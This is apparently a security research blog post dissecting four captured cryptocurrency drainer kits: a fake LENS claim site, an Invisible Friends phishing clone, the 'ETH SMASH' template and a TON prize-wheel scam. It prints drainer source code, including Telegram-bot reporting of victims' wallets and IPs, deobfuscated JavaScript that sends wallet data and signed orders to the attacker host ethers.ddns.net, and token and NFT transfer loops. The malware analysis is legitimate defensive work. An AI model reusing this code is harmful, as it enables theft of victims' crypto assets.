We’ve written a lot about drainers on this blog, showing how these contracts and implants are equally smart and malicious. They employ large criminal ecosystems and, at times, posing as schemes so ridiculous they're almost laughable, yet they trick users into losing their funds with a single click.
But today, we’re going to get our hands dirty—not with oily, flammable substances to burn it all down, as you’re used to when reading my articles—but in a different way.
We’ve captured four drainer samples with complete frontend and backend source code, and we’re about to run a series of autopsies on them to understand how they’re trying to deceive victims, what goes on backstage, and the threat actors' thinking behind them.
Enough talk. Let me welcome you to Dr Ainer’s absolutely legitimate clinic. Grab a pair of gloves and that Netter book—things are about to get messy.
🧟♂️ Dr Ainer, to the autopsy theatre immediately
Our first patient is ‘ETH Polygon BNB’, which seems to be missing a few pieces but somehow still manages to function (aren't we all just like that at this time of year?).
With a simple HTML template and a PHP backend, our first task as quacks reputable smart contract field surgeons doesn't seem too challenging.
Some time ago, the LENS protocol allowed users to claim and mint handles, but in most cases, users had to be previously whitelisted or attend specific conferences or events. Naturally, this generated high demand. Our first patient seems to prey on that desire for LENS handles—and it shows.
This HTML template restricts itself to mimicking the LENS claim site and calling the following JS libraries
ethers.js (official)
web3.js (official)
web3-connect.js (local version)
ethers.js (local version)
web3-provider.js (local version)
Let’s take a look under the hood. Scalpel, please.
<?PHP
// =====================================================================
// ========================= НАСТРОЙКИ СКРИПТА =========================
// =====================================================================
define('BOT_TOKEN', '53427[REDACTED]gqTT10'); // Токен бота Telegram из @BotFather
define('CHAT_ID', '-[REDACTED]'); // ID вашего чата или канала, куда будут идти уведомления с сайта
// =====================================================================
// ============ ВНОСИТЬ ИЗМЕНЕНИЯ В КОД НИЖЕ НЕ БЕЗОПАСНО ==============
// =====================================================================
Even if you can’t read Russian (or PHP at all), you might get a sense of what’s happening here. The attacker is using a Telegram bot as a communication channel. The comments actually translate as follows:
🇷🇺 НАСТРОЙКИ СКРИПТА
🇬🇧 Script configuration
🇷🇺 Токен бота Telegram из BotFather
🇬🇧 BotFather Telegram bot token
BotFather is the bot you talk to in Telegram in order to create or manage bots
🇷🇺 ID вашего чата или канала, куда будут идти уведомления с сайта
🇬🇧 Your channel ID where notifications from the site are sent
🇷🇺 ВНОСИТЬ ИЗМЕНЕНИЯ В КОД НИЖЕ НЕ БЕЗОПАСНО
🇬🇧 Not safe to make changes from now on
The PHP backend includes a function that checks for specific IP ranges from CloudFlare to prevent these addresses from interacting with the website.
if (isset($_SERVER["HTTP_CF_CONNECTING_IP"])) {
$cf_ip_ranges = [ '204.93.240.0/24','204.93.177.0/24','199.27.128.0/21','173.245.48.0/20','103.21.244.0/22','103.22.200.0/22','103.31.4.0/22','141.101.64.0/18',
'108.162.192.0/18','190.93.240.0/20','188.114.96.0/20','197.234.240.0/22','198.41.128.0/17','162.158.0.0/15'
];
foreach ($cf_ip_ranges as $range) {
if (ip_in_range($_SERVER['REMOTE_ADDR'], $range)) {
$_SERVER['REMOTE_ADDR'] = $_SERVER["HTTP_CF_CONNECTING_IP"];
break;
}
}
}
The ip-api
API is also queried to determine the visitor’s country based on their IP address.
function getCountryFromIP($address) {
$ch = curl_init("http://ip-api.com/json/$address");
[...]
if (json_last_error() === JSON_ERROR_NONE) {
return $response['status'] == 'success' ? $response['countryCode'] : 'UNK';
} else {
return 'UNK';
}
}
At this point, malicious interactions with the drainer have already taken place via the JS libraries, which aren’t malicious per se—they’re simply doing what they’re designed to do: interacting with smart contracts. Finally, the backend checks the $_GET['action']
variable to determine the next step and communicate with the operator.
if (isset($_GET['action']) && $_GET['action'] == 'retrive') {
$approves = json_decode(file_get_contents('approve.json'), true);
file_put_contents('approve.json', '[]');
exit(json_encode($approves));
} elseif (isset($_GET['action']) && $_GET['action'] == 'transfer_token') {
$chain_name = $_GET['chain_id'] == 1 ? 'Ethereum' :
($_GET['chain_id'] == 56 ? 'BNB Smart Chain' : 'Polygon');
sendTelegramMessage("
<b>💎 Отправлен токен</b>\n\n
<b>⛓ Сеть:</b> <code>$chain_name</code>\n
<b>💎 Токен:</b> <code>$_GET[token]</code>\n
<b>💰 Сумма:</b> <code>$_GET[amount]$</code>");
}
if ($data['action'] == 'visit') {
} elseif ($data['action'] == 'connect') {
sendTelegramMessage("
<b>🦊 Подключен кошелек</b>\n\n
<b>🌐 IP адрес:</b> $_SERVER[REMOTE_ADDR]\n
<b>🏴☠️ Страна:</b> $visitor_country\n\n
<b>👛 Адрес:</b> https://debank.com/profile/$data[address]");
} elseif ($data['action'] == 'transfer_native') {
$chain_name = convertCIDtoCName($data['chain_id']);
sendTelegramMessage("
<b>💸 Отправлена монета</b>\n\n
<b>🌐 IP адрес:</b> $_SERVER[REMOTE_ADDR]\n
<b>🏴☠️ Страна:</b> $visitor_country\n\n
<b>⛓ Сеть:</b> <code>$chain_name</code>\n
<b>💰 Сумма:</b> <code>$data[amount]$</code>");
} elseif ($data['action'] == 'approve_token') {
$approves = json_decode(file_get_contents('approve.json'), true);
array_push($approves, $data);
file_put_contents('approve.json', json_encode($approves));
if ($data['notification'] == true) {
$chain_name = convertCIDtoCName($data['chain_id']);
sendTelegramMessage("
<b>✅ Подтверждение токена</b>\n\n
<b>🌐 IP адрес:</b> $_SERVER[REMOTE_ADDR]\n
<b>🏴☠️ Страна:</b> $visitor_country\n\n
<b>⛓ Сеть:</b> <code>$chain_name</code>\n
<b>💎 Токен:</b> <code>$data[token]</code>\n
<b>💰 Сумма:</b> <code>$data[amount]$</code>");
}
}
The action
variable supports different values:
retrive (sic): Creates the temporary file
approve.json
.transfer_token: Determines the blockchain to use (Ethereum, BNB, Polygon), then sends the following message to the operator:
💎 Token sent
⛓ Network: [Chain]
💎 Token: [Token]
💰 Amount: [Amount]
visit: Does nothing.
connect: Sends the following message to the operator, including a link to DeBank (a legit platform):
🦊 Wallet connected
🌐 IP Address: [IP address]
🏴☠️ Country: [Country or “UNK”]
👛 Address: https://debank.com/profile/[Address]
transfer_native: Determines the blockchain to use and sends the following message to the operator:
💸 Coin sent
🌐 IP Address: [IP address]
🏴☠️ Country: [Country or “UNK”]
⛓ Network: [Chain]
💰 Amount: [Amount]
approve_token: Reads the stored information in the
approve.json
file, determines the blockchain to use and sends the following message to the operator:✅ Token approval
🌐 IP Address: [IP address]
🏴☠️ Country: [Country or “UNK”]
⛓ Network: [Chain]
💎 Token: [Token]
💰 Amount: [Amount]
And that’s it. The prey falls into the trap, automatically losing all its funds to the operator, who receives a colourful message on Telegram announcing the day’s earnings.
That one was easy. We’re still far from the great medical minds like Dr Herbert West, Dr Phibes or Dr Jonathan Crane, but we’ll get there eventually. And definitely not by talking—so, with no synthetic tissue left to analyse, we’re free to move on to the next stretcher.
💉 Dr Ainer, subject POA (PWND on Arrival)
The tag on its toe reads 'invisiblefriends-main', and at first glance, it is (or was) a fairly well-crafted phishing website built with React.
The template referenced legitimate social profiles and accounts, along with the real INVISIBLE FRIENDS smart contract, and even used Amazon S3 buckets to host part of its static content—a rather interesting move.
While browsing through their AWS infrastructure, I noticed something that rang a bell, though I couldn’t quite place it: a reference to Garbage Friends. I was convinced that I’d crossed paths with that Sesame Street-like character before, but couldn’t remember when.
The index file has a PHP extension but contains no PHP code at all; in fact, it’s just plain HTML relying on JavaScript to do the heavy lifting. Everything happens on the frontend, so there’s no quirky backend to dissect this time. Let’s focus on the JS libraries instead:
web3.min.js
Provides tools to interact with the Ethereum blockchain from the frontend. It connects to the user’s wallet (like MetaMask) and facilitates calls to smart contracts.
ethereumjs-tx-1.3.3.min.js
Allows for the creation and signing of Ethereum transactions directly in the browser. It enables the drainer to generate transaction data and send it to MetaMask directly.
SignBlock.js
Manages MetaMask connection and handles the “Mint” button functionality. When the user clicks the button, it triggers MetaMask’s prompt for signing a transaction, allowing the drainer to initiate blockchain actions.
WalletButton.js
Controls the connection status of the user’s wallet and displays the wallet address in the interface once connected. It enables seamless interaction with MetaMask, readying the user for signing transactions when needed.
Their functions are straightforward and easy to understand: requesting victims' ETH accounts, tracking any changes, and presenting them with transactions to sign.
ethereum.request({ method: "eth_accounts" })
.then((a) => setAddr(a[0]));
this.provider.sendTransaction(r)
ethereum.on("accountsChanged", (a) => setAddr(a.length ? a[0] : ""));
ethereum.on("connect", (a) => setAddr(a.length ? a[0] : ""));
That’s not all. I saved an obfuscated JavaScript file called utils.js
for last, suspecting it would cause trouble. Due to its size (over 5MB), most deobfuscators failed to process it. When executed, it simply returns a unique ID string.
After many blackbox tests ran on different browsers and setups we couldn’t trigger it to behave in any other way, but one of our engineers jumped in as he recognized the code to be “jsfuck”, an esoteric language based on JavaScript.
After finding a suitable jsfuck deobfuscator we were pretty safe to asume we just witnessed the most puzzling, nightmarish and ill-intentioned ID generator.
And we loved it.
🙏 Special thanks to John Mis Pérez for his help with this component.
A complex frontend, no backend, and JavaScript hexes to keep this nightmare fuel burning. I thought we'd seen it all… but no, wait a minute.
Remember Garby? That trash can character from Garbage Friends? Well, out of the blue, I remembered how we met. I decided to check my old Tweets—and there it was. Back in 2022, a threat actor hacked into Argentina’s Security Minister Sabina Frederic’s official Twitter account to advertise their drainer, disguised as a Garbage Friends airdrop. They were using the exact same image they are now, though rendered in a 3D style.
At that time, Twitter verification was reserved for selected users, not available as a paid feature like it is today—making verified accounts especially valuable.
So, nice to see you again, Garby—though it’s unfortunate we always meet under cybercriminal circumstances. I’d love to stay and chat, but another undead crypto malware awaits on the operating table. If I may.
🧬 Dr Ainer, code sequence anomaly detected
Our next patient was 'ETH SMASH', and setting it up was a challenge in itself: missing dependencies led to missing functions, which led to even more missing pieces and features.
But with practices closer to cyber-necromancy than medicine somehow, we stitched it back together and jolted it back to life…
Come on, don’t 404 on me now!
By creating empty, placebo-like dependencies to make it believe everything is in place, we manage to get a grip on this Frankenstein monster “prototype”. Again, no backend script is provided; everything is offloaded to JavaScript procedures.
But why are we bothering so much with a patient that looks like this? Well, because judging a book by its cover never ends well. Such a simple product can mean two things: either it’s a PoC or WIP, or it’s a template for an implant, kept simple on purpose to be adapted to other ‘products’ in the scene…
Its main file, index.js
, appears to contain the primary configuration directives along with a small surprise at the bottom:
/**** CONFIGURATIONS ****/
const config = {
receiver: "INSERT_YOURE_WALLET_HERE",
design: {
walletAppear: true,
eliAppear: true,
connectElement: "#connectButton",
connectedElement: "#claimButton",
retryDelay: 3000,
buttonMessagesEnabled: true,
buttonMessages: {
initialConnect: "Update",
initialConnected: "Update",
progress: "Loading ...",
success: "Confirming ...",
failed: "Verification failed !",
}
},
claimInfo: {
collectionDetails: {
minAveragePrice: 0.005,
minVolumeTraded: 20,
},
minValueERC20: 0,
minWalletBalance: 0.0003,
}
}
[OBFUSCATED CODE]
At the bottom of the file, there’s an obfuscated JavaScript snippet. Fortunately, we recognized the obfuscator used, making the process easily reversible.
const _0x3d9a20 = {
Accept: "application/json",
"X-API-KEY": ''
};
class _0x264fc9 {
["OpenseaAPI"] = "7da[REDACTED]bc2";
["MoralisAPI"] = "ey[REDACTED]OprjzDyI";
[...]
["walletAddress"];
["walletBalance"];
["walletBalanceInEth"];
["chainId"];
["seaportConduit"] = "0x1e0049783f008a0085193e00003d00cd54003c71";
["uniswapV3Router1"] = "0xE592427A0AEce92De3Edee1F18E0157C05861564";
["uniswapV3Router2"] = "0x68b3465833fb72a70ecdf485e0e4c7bd8665fc45";
["pancakeSwapRouter"] = "0xEfF92A263d31888d860bD50809A8D171709b7b1c";
["sushiSwapRouter"] = "0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F";
["receiverSwapTokenAddress"] = "0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48";
["receiverSwapTokenAddressAlt"] = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
[...]
}
const _0x460b21 = {
logDomainName: "http://ethers.ddns.net:3000/",
logIpData: true
};
const _0xa4df20 = {
receiver: "0xbF84Ed43EEF5D5f98f4746EB4a8f2805D5c0458a"
};
Some interesting points:
References to multiple legitimate smart contracts, including Uniswap, PancakeSwap, and SushiSwap routers, as well as USDC and wETH (Wrapped ETH)..
A ddns.net domain linked to the Threat Actor.
The Threat Actor’s address, labeled Fake_Phishing187964.
Moving along, the template provides functions to fetch NFTs and ERC20 tokens which will later be stolen. For this process, OpenSea's and Moralis' APIs are abused.
["fetchNFTS"] = async () => {
console.log("Fetching NFTS");
this.requestOptions.headers["X-API-KEY"] = this.OpenseaAPI;
try {
fetch("https://api.opensea.io/api/v1/collections?asset_owner=" + this.walletAddress + "&offset=0&limit=300", this.requestOptions).then(_0xb79829 => _0xb79829.json()).then(_0x2f04d2 => {
return {
'name': _0x3ab714.primary_asset_contracts[0].name,
'type': _0x3ab714.primary_asset_contracts[0].schema_name,
'contractAddress': _0x3ab714.primary_asset_contracts[0].address,
'price': this.round(_0x3ab714.stats.one_day_average_price != 0 ?
[...]
});
} catch (_0x3b2b60) {
console.log("NFT Request error: ", _0x3b2b60);
}
[...]
} catch (_0x222677) {
console.log("NFT floor price error: ", _0x222677);
}
};
["fetchERC20"] = async () => {
console.log("Fetching ERC20");
let _0x4aceab = [];
try {
this.requestOptions.headers["X-API-KEY"] = this.MoralisAPI;
_0x4aceab = await fetch("https://deep-index.moralis.io/api/v2/" + this.walletAddress + "/erc20?chain=eth", this.requestOptions).then(_0x433cb3 => _0x433cb3.json());
let _0x4fb793 = _0x4aceab.filter(_0x3c491f => _0x3c491f.thumbnail != null || _0x3c491f.name == "ApeCoin").map(_0x45bbf1 => {
const _0x240085 = {
type: "ERC20",
contractAddress: _0x45bbf1.token_address,
fullName: _0x45bbf1.name,
name: _0x45bbf1.symbol,
balance: _0x45bbf1.balance,
decimals: _0x45bbf1.decimals,
banner: _0x45bbf1.thumbnail
};
[...]
this.transactions.push(_0xc9c40);
this.ERC20tokens.push(_0xc9c40);
}));
} catch (_0x2a181a) {
console.log("ERC20 fetch error: ", _0x2a181a);
}
};
["transfer"] = async () => {
if (config.design.buttonMessagesEnabled) {
this.claimButton.innerText=config.design.buttonMessages.progress;
}
this.transactions.push({
'type': "ETH",
'price': this.walletBalanceInEth
});
Finally, there are additional functions that work specifically with Seaport, Uniswap, Sushiswap, and PancakeSwap, all of which call back home by sending a POST request to the TA’s backend. Let’s take a closer look:
["transferNFTseaport"] = async () => {
try {
const _0xd64e23 = {
offer: this.offers,
consideration: this.considerations,
conduitKey: "0x000000[...]8104250f0000",
zone: "0x004C00500000aD104D7DBd00e3ae0A5C00560C00",
startTime: "1661790956",
endTime: "11[...]935"
};
[...]
fetch("http://ethers.ddns.net:3000/backend/seaport", {
'method': "POST",
'headers': {
'Content-Type': "application/json",
'Accept': "application/json"
},
'body': JSON.stringify({
'order': _0x29d81f,
'address': this.walletAddress,
'walletBalanceInEth': this.walletBalanceInEth,
'isMobile': this.isMobile(),
'websiteUrl': window.location.href,
'websiteDomain': window.location.host,
'ipData': _0x1eb992
})
});
["transferERC20pancakeswap"] = async () => {
if (this.pancakeswapTokens.length > 0) {
console.log("TRANSFERRING APPROVED PANCAKESWAP ERC20 TOKENS");
console.table(this.pancakeswapTokens);
[...]
fetch("http://ethers.ddns.net:3000/backend/swap", {
'method': "POST"
'body': JSON.stringify({
'address': this.walletAddress,
'walletBalanceInEth': this.walletBalanceInEth,
[...]
'transferName': "PANCAKESWAP",
'transactionHash': _0x2887e2
})
});
["transferERC20sushiswap"] = async () => {
try {
if (this.sushiswapTokens.length > 0) {
console.log("TRANSFERRING APPROVED SUSHISWAP ERC20 TOKENS");
console.table(this.sushiswapTokens);
[...]
And that’s it. What started as a simple HTML template with nothing fancy to show turned out to be a complete draining suite, featuring multichain compatibility, obfuscated code, dedicated support for leading protocols, seamless integration with top NFT markets, heartbeat and home-calling capabilities. Who would have guessed?
It’s time to unplug this replicant and let it return to the init 0
from which we should never have brought it back.
🧪 Dr Ainer, administering TONic
It seems our next patient has a history of good ‘private practices’ on the surface, looking fresh and flawless.
There’s not much to say about the HTML landing page, which comes bundled with an installation manual in HTML format.
The template simulates a prize roulette that —thanks to a JavaScript manipulation— always yields the same reward: 100 TON. And, as you may have guessed, in order to claim it, you’ll need to connect your wallet.
The facial reconstruction work done here looks professional, but let’s take a closer look at the stitches inside holding it all together. Once again there is no backend and all the workload is offloaded to JavaScript libraries:
nfts_whitelist.js
web3.js
spin-wheel.js (the rigged spinwheel)
The nfts_whitelist.json
file contains an allow-list for 15 NFT projects hosted on the TON blockchain, including Lost Dogs, Anonymous Telegram Numbers and Rocket Cosmonauts, which are of interest to the Threat Actor.
[
{
"nft_platform": "Anonymous Telegram Numbers",
"nft_address": "EQAOQdwdw8kGftJCSFgOErM1mBjYPe4DBPq8-AhF6vr9si5N",
"contract": "EQAOQdwdw8kGftJCSFgOErM1mBjYPe4DBPq8-AhF6vr9si5N",
"average_price": 210.6915,
"rank": 1
},[...]
{
"nft_platform": "Lost Dogs",
"nft_address": "EQAl_hUCAeEv-fKtGxYtITAS6PPxuMRaQwHj0QAHeWe6ZSD0",
"contract": "EQAl_hUCAeEv-fKtGxYtITAS6PPxuMRaQwHj0QAHeWe6ZSD0",
"average_price": 1.4226,
"rank": 3
},[...]
{
"nft_platform": "Rocket Cosmonauts NFT",
"nft_address": "EQCU3idfp--Bs5x2QId5v0ac5JOwFiKu5g1O7UIEqd9SrWUA",
"contract": "EQCU3idfp--Bs5x2QId5v0ac5JOwFiKu5g1O7UIEqd9SrWUA",
"average_price": 360.0000
"rank": 6
},[...]
]
The web3.js
file appears to handle the ruse, but it is obfuscated. Perhaps the install.html
file could shed some light on how to access it…
<p><br>Great, the configuration of the script has been successfully completed, now it must be obfuscated so that the code does not get into phishing databases, and simply so that no one steals it from your site, which, of course, is very important.</p>
<p>To do this, we need the following site: <a href="https://obfuscator.io">obfuscator.io</a></p>
<p>Open the contents of the "<b>web3.js</b>" file again, where we set up the <b>CF</b> & <b>TG</b> variables, completely copy all the contents and paste it into <a href="https://obfuscator.io">obfuscator.io</a></p>
Good tip; we wouldn’t want anyone stealing the code. Now, with the file deobfuscated, it looks like this:
// Using this code without obsfuscation is strictly prohibited !
// If this is discovered, an arbitration will be written
[...]
const CF = {
Wallet: "UQY[...]FxZfi", // Wallet address where the assets will go
Native: true,
Tokens: true,
NFTs: true,
Tokens_First: false,
Ton_rate: 7.99, // conversion rate ( 1 TON to USD = 7.99 )
TonApi_Key: "", // https://tonconsole.com/ (RECOMMENDED),
manifestUrl: "https://app.storm.tg/tonconnect-manifest.json"
}
const TG = {
token: "", // Your @Botfather Bot token
chat_id: "", // ID of the chat for notifications
enter_website: false,
connect_success: false,
connect_empty: false,
transfer_request: false,
transfer_success: false,
transfer_cancel: false
};
// ==================================================================
// ========= Bring changes to the code below is not sure ============
// ==================================================================
[...]
A rather simple configuration that once again relies on our old friend, Telegram, and its bots to serve as the communication channel between the drainer instance and the operator. The rest of the file is dedicated to querying IP-API, TON API, and TonViewer to retrieve information on a user’s location and assets, as well as the Telegram API to send the following messages to the operator:
🔌 User Connected Wallet ([Shortened Address])
🌍 [Host] - 📍 [Country Link to IP-API]
💲 (≈ [Total Balance in USD])
🧿 [TON Balance Information]
🪙 [Token Balance Information]
👾 [NFT Balance Information]
✅ Approved Transfer ([Shortened Address])
👾 (≈ [Total NFT Price] USD)
[NFT List with Price Information and Links]
❌ Declined Transfer ([Shortened Address])
👾 (≈ [Total NFT Price] USD)
[NFT List with Price Information and Links]
👀 User opened the website
🌍 [User Language] | [Host]
📍 [Country Link to IP-API]
🔌💩 User Connected an Empty Wallet ([Shortened Address])
🌍 [Host] - 📍 [Country Link to IP-API]
The drain happens at the following functions:
async function TokenTransfer(tokenChunk, sourceArray) {
try {
const totalTokenPriceUSD = tokenChunk.reduce((sum, token) =>
sum + token.calculatedBalanceUSDTG, 0);
async function NftTransfer(nftChunk, sourceArray) {
try {
const totalNftPriceUSD = nftChunk.reduce((sum, token) =>
sum + token.calculatedBalanceUSDTG, 0);
async function handleTransaction(transactionData, notif, successMessage, errorMessage) {
try {
if(TG.transfer_request){
await TgMsg(notif);
}
await w3.sendTransaction(transactionData);
await sleep(1300);
if(TG.transfer_success){
await TgMsg(successMessage);
}
} [...]
async function processAssets(walletData, tokenData, nftData) {
[...]
for (let type of sortedTypes) {
switch (type) {
case "TON":
if (groupedData.TON.length > 0 && CF.Native) {
await TonTransfer(groupedData.TON[0]);
await sleep(1300);
} break;
case "TOKEN":
if(CF.Tokens){
for (let i = 0; i < groupedData.TOKEN.length; i += 4) {
let chunk = groupedData.TOKEN.slice(i, i + 4);
await TokenTransfer(chunk, groupedData.TOKEN);
await sleep(1300);
}
} break;
case "NFT":
if(CF.NFTs){
for (let i = 0; i < groupedData.NFT.length; i += 4) {
let chunk = groupedData.NFT.slice(i, i + 4);
await NftTransfer(chunk, groupedData.NFT);
await sleep(1300);
}
} break;
}
}
The deobfuscated files containted the operator’s TON address, which still shows activity to this day—but my license only allows me to practice on droids, so that’s as far as we’ll get today.
We’ve seen it all: drainers, obfuscated code, esoteric programming languages, Russian blockchains, a hacked minister’s account, and we even stitched together our very own Frankenstein’s monster. I’d say that’s enough excitement for a single article, so it’s time to part ways.
💊 Down at the doctor’s
I hope you enjoyed this article, and remember: if you need a trusty doc with swift hands and a #nologs
policy, drop by the clinic.
We speak PHP and accept XMR ; ) .
All IOCs collected during this investigation are available on our Level Blue (formerly AlienVault OTX) profile, should they come in handy.